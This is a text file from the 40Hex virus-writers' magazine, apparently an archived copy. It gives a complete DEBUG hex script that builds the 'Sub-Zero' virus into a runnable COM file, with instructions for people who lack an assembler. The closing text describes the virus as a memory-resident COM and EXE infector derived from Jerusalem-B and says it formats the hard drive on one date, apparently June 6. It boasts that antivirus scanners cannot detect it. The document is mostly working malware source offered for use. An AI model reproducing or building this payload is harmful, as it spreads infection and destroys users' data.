home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_1.003 < prev    next >
Text File  |  1995-01-03  |  8KB  |  149 lines
  1. 40H Vmag Issue 1 Volume 1                                               00003
  2.  
  3.                            - SUB-ZERO VIRUS -
  4.  
  5.  
  6.  
  7.     Heres one for all of you who don't have an assembler.  It can be
  8. compiled using debug by naming the insert below SUB-ZERO.USR and
  9. executing the command -
  10.  
  11.                         DEBUG < SUB-ZERO.USR
  12.  
  13. ------------------------------------------------------------------------------
  14. n sub-zero.com
  15. e 0100  E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
  16. e 0110  00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
  17. e 0120  3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  18. e 0130  0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
  19. e 0140  00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
  20. e 0150  5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
  21. e 0160  07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
  22. e 0170  05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
  23. e 0180  B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
  24. e 0190  00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
  25. e 01A0  FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
  26. e 01B0  8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
  27. e 01C0  B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
  28. e 01D0  00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
  29. e 01E0  2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
  30. e 01F0  E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
  31. e 0200  00 2E FF 2E 47 00 33 C0 8E C0 8B 89 31 DB 2E A3
  32. e 0210  4B 00 26 A0 FE 03 2E A2 4D 00 26 C7 06 FC 03 F3
  33. e 0220  A5 26 C6 06 FE 03 CB 58 04 10 90 8E C0 0E 1F B9
  34. e 0230  00 03 B1 88 33 F6 8B FE 06 B8 42 01 50 EA FC 03
  35. e 0240  00 00 8C C8 8E D0 BC 00 07 33 C0 8E D8 2E A1 4B
  36. e 0250  00 A3 FC 03 2E A0 4D 00 A2 FE 03 8B DC B1 04 D3
  37. e 0260  EB 83 C3 10 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00
  38. e 0270  CD 21 B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19
  39. e 0280  00 0E 1F BA 5B 02 B8 21 25 CD 21 8E 06 31 00 26
  40. e 0290  8E 06 2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05
  41. e 02A0  E0 F9 8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35
  42. e 02B0  00 52 51 53 50 06 1E B4 2A CD 21 2E C6 06 0E 00
  43. e 02C0  00 81 F9 C6 07 74 30 3C 05 75 0D 80 FA 17 72 08
  44. e 02D0  2E FE 06 0E 00 EB 20 90 B8 08 35 CD 21 2E 89 1E
  45. e 02E0  13 00 2E 8C 06 15 00 0E 1F C7 06 1F 00 48 3F B8
  46. e 02F0  08 25 BA 1E 02 CD 21 1F 07 58 5B 59 5A 9C 2E FF
  47. e 0300  1E 17 00 1E 07 B4 49 CD 21 B4 4D CD 21 B4 31 BA
  48. e 0310  00 06 B1 04 D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83
  49. e 0320  3E 1F 00 09 75 17 52 51 50 B4 2A CD 21 81 FA 06
  50. e 0330  06 75 07 B8 01 07 B2 80 CD 13 58 59 5A 2E 83 2E
  51. e 0340  1F 00 01 EB 11 20 20 53 75 62 2D 5A 65 72 6F 20
  52. e 0350  4E 59 48 43 20 20 2E FF 2E 13 00 9C 80 FC E0 75
  53. e 0360  05 B8 00 03 9D CF 80 FC DE 74 2D 80 FC DD 74 0E
  54. e 0370  3D 00 4B 75 03 E9 B4 00 9D 2E FF 2E 17 00 58 58
  55. e 0380  B8 00 01 2E A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E
  56. e 0390  A1 0F 00 2E FF 2E 0A 00 83 C4 06 9D 8C C8 8E D0
  57. e 03A0  BC 10 07 06 06 33 FF 0E 07 B9 10 00 8B F3 BF 21
  58. e 03B0  00 F3 A4 8C D8 8E C0 2E F7 26 7A 00 2E 03 06 2B
  59. e 03C0  00 83 D2 00 2E F7 36 7A 00 8E D8 8B F2 8B FA 8C
  60. e 03D0  C5 2E 8B 1E 2F 00 0B DB 74 13 B9 00 80 F3 A5 05
  61. e 03E0  00 10 81 C5 00 10 8E D8 8E C5 4B 75 ED 2E 8B 0E
  62. e 03F0  2D 00 F3 A4 58 50 05 10 00 2E 01 06 29 00 2E 01
  63. e 0400  06 25 00 2E A1 21 00 1F 07 2E 8E 16 29 00 2E 8B
  64. e 0410  26 27 00 2E FF 2E 23 00 33 C9 B8 01 43 CD 21 B4
  65. e 0420  3C CD 21 B8 00 4B 9D 2E FF 2E 17 00 2E 80 3E 0E
  66. e 0430  00 01 74 E4 2E C7 06 70 00 FF FF 2E C7 06 8F 00
  67. e 0440  00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
  68. e 0450  56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
  69. e 0460  15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 77 02
  70. e 0470  F7 E3 F7 E1 0B D2 75 05 3D 10 07 72 F0 2E 8B 16
  71. e 0480  80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
  72. e 0490  8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
  73. e 04A0  20 46 EB EC B9 0B 00 2B F1 BF 84 00 0E 07 B9 0B
  74. e 04B0  00 F3 A6 75 03 E9 2F 02 B8 00 43 CD 21 72 05 2E
  75. e 04C0  89 0E 72 00 72 25 32 C0 2E A2 4E 00 1E 07 8B FA
  76. e 04D0  B9 41 00 F2 AE 80 7D FE 4D 74 0B 80 7D FE 6D 74
  77. e 04E0  05 2E FE 06 4E 00 B8 00 3D CD 21 72 5A 2E A3 70
  78. e 04F0  00 8B D8 B8 02 42 B9 FF FF BA FB FF CD 21 72 EB
  79. e 0500  05 05 00 2E A3 11 00 B9 05 00 BA 6B 00 8C C8 8E
  80. e 0510  D8 8E C0 B4 3F CD 21 8B FA BE 05 00 F3 A6 75 07
  81. e 0520  B4 3E CD 21 E9 C0 01 B8 24 35 CD 21 89 1E 1B 00
  82. e 0530  8C 06 1D 00 BA 1B 02 B8 24 25 CD 21 C5 16 80 00
  83. e 0540  33 C9 B8 01 43 CD 21 72 3B 2E 8B 1E 70 00 B4 3E
  84. e 0550  CD 21 2E C7 06 70 00 FF FF B8 02 3D CD 21 72 24
  85. e 0560  2E A3 70 00 8C C8 8E D8 8E C0 8B 1E 70 00 B8 00
  86. e 0570  57 CD 21 89 16 74 00 89 0E 76 00 B8 00 42 33 C9
  87. e 0580  8B D1 CD 21 72 3D 80 3E 4E 00 00 74 03 EB 57 90
  88. e 0590  BB 00 10 B4 48 CD 21 73 0B B4 3E 8B 1E 70 00 CD
  89. e 05A0  21 E9 43 01 FF 06 8F 00 8E C0 33 F6 8B FE B9 10
  90. e 05B0  07 F3 A4 8B D7 8B 0E 11 00 8B 1E 70 00 06 1F B4
  91. e 05C0  3F CD 21 72 1C 03 F9 33 C9 8B D1 B8 00 42 CD 21
  92. e 05D0  BE 05 00 B9 05 00 F3 2E A4 8B CF 33 D2 B4 40 CD
  93. e 05E0  21 72 0D E9 BC 00 B9 1C 00 BA 4F 00 B4 3F CD 21
  94. e 05F0  72 4A C7 06 61 00 84 19 A1 5D 00 A3 45 00 A1 5F
  95. e 0600  00 A3 43 00 A1 63 00 A3 47 00 A1 65 00 A3 49 00
  96. e 0610  A1 53 00 83 3E 51 00 00 74 01 48 F7 26 78 00 03
  97. e 0620  06 51 00 83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3
  98. e 0630  7C 00 89 16 7E 00 05 10 07 83 D2 00 72 3A F7 36
  99. e 0640  78 00 0B D2 74 01 40 A3 53 00 89 16 51 00 A1 7C
  100. e 0650  00 8B 16 7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00
  101. e 0660  C7 06 63 00 C5 00 A3 5D 00 C7 06 5F 00 10 07 33
  102. e 0670  C9 8B D1 B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00
  103. e 0680  B4 40 CD 21 72 11 3B C1 75 18 8B 16 7C 00 8B 0E
  104. e 0690  7E 00 B8 00 42 CD 21 72 09 33 D2 B9 10 07 B4 40
  105. e 06A0  CD 21 2E 83 3E 8F 00 00 74 04 B4 49 CD 21 2E 83
  106. e 06B0  3E 70 00 FF 74 31 2E 8B 1E 70 00 2E 8B 16 74 00
  107. e 06C0  2E 8B 0E 76 00 B8 01 57 CD 21 B4 3E CD 21 2E C5
  108. e 06D0  16 80 00 2E 8B 0E 72 00 B8 01 43 CD 21 2E C5 16
  109. e 06E0  1B 00 B8 24 25 CD 21 07 1F 5F 5E 5A 59 5B 58 9D
  110. e 06F0  2E FF 2E 17 00 00 00 00 00 00 00 00 00 00 00 00
  111. e 0700  4D 9F 19 00 10 00 00 00 45 44 00 45 4C 00 00 00
  112. e 0710  E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
  113. e 0720  00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
  114. e 0730  3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  115. e 0740  0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
  116. e 0750  00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
  117. e 0760  5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
  118. e 0770  07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
  119. e 0780  05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
  120. e 0790  B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
  121. e 07A0  00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
  122. e 07B0  FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
  123. e 07C0  8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
  124. e 07D0  B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
  125. e 07E0  00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
  126. e 07F0  2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
  127. e 0800  E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
  128. e 0810  CD 20 A3 AA D4 3A A3 1A 1A 1A 1A 1A 1A 1A 1A 1A
  129.  
  130. rcx
  131. 717
  132. w
  133. q
  134. ------------------------------------------------------------------------------
  135.  
  136. Sub-Zero is a memory resident COM and EXE infector that is based somewhat on
  137. on Jerusalem-B.  It is the ansestor to the virus Captian Trips
  138. which at this time has not been nailed by SCAN.
  139.  
  140. Be carefull because this virus will most likly format you hard drive if you
  141. run it on the wrong day.  One day of the year it will perform a HD format.
  142. I think it's in June, hmmmm...  D-Day rings a bell.
  143.  
  144. As of Scan-77 this virus can not be detected by SCAN or F-Prot.
  145.  
  146.                                                                            HR
  147.  
  148. Downloaded From P-80 International Information Systems 304-744-2253
  149.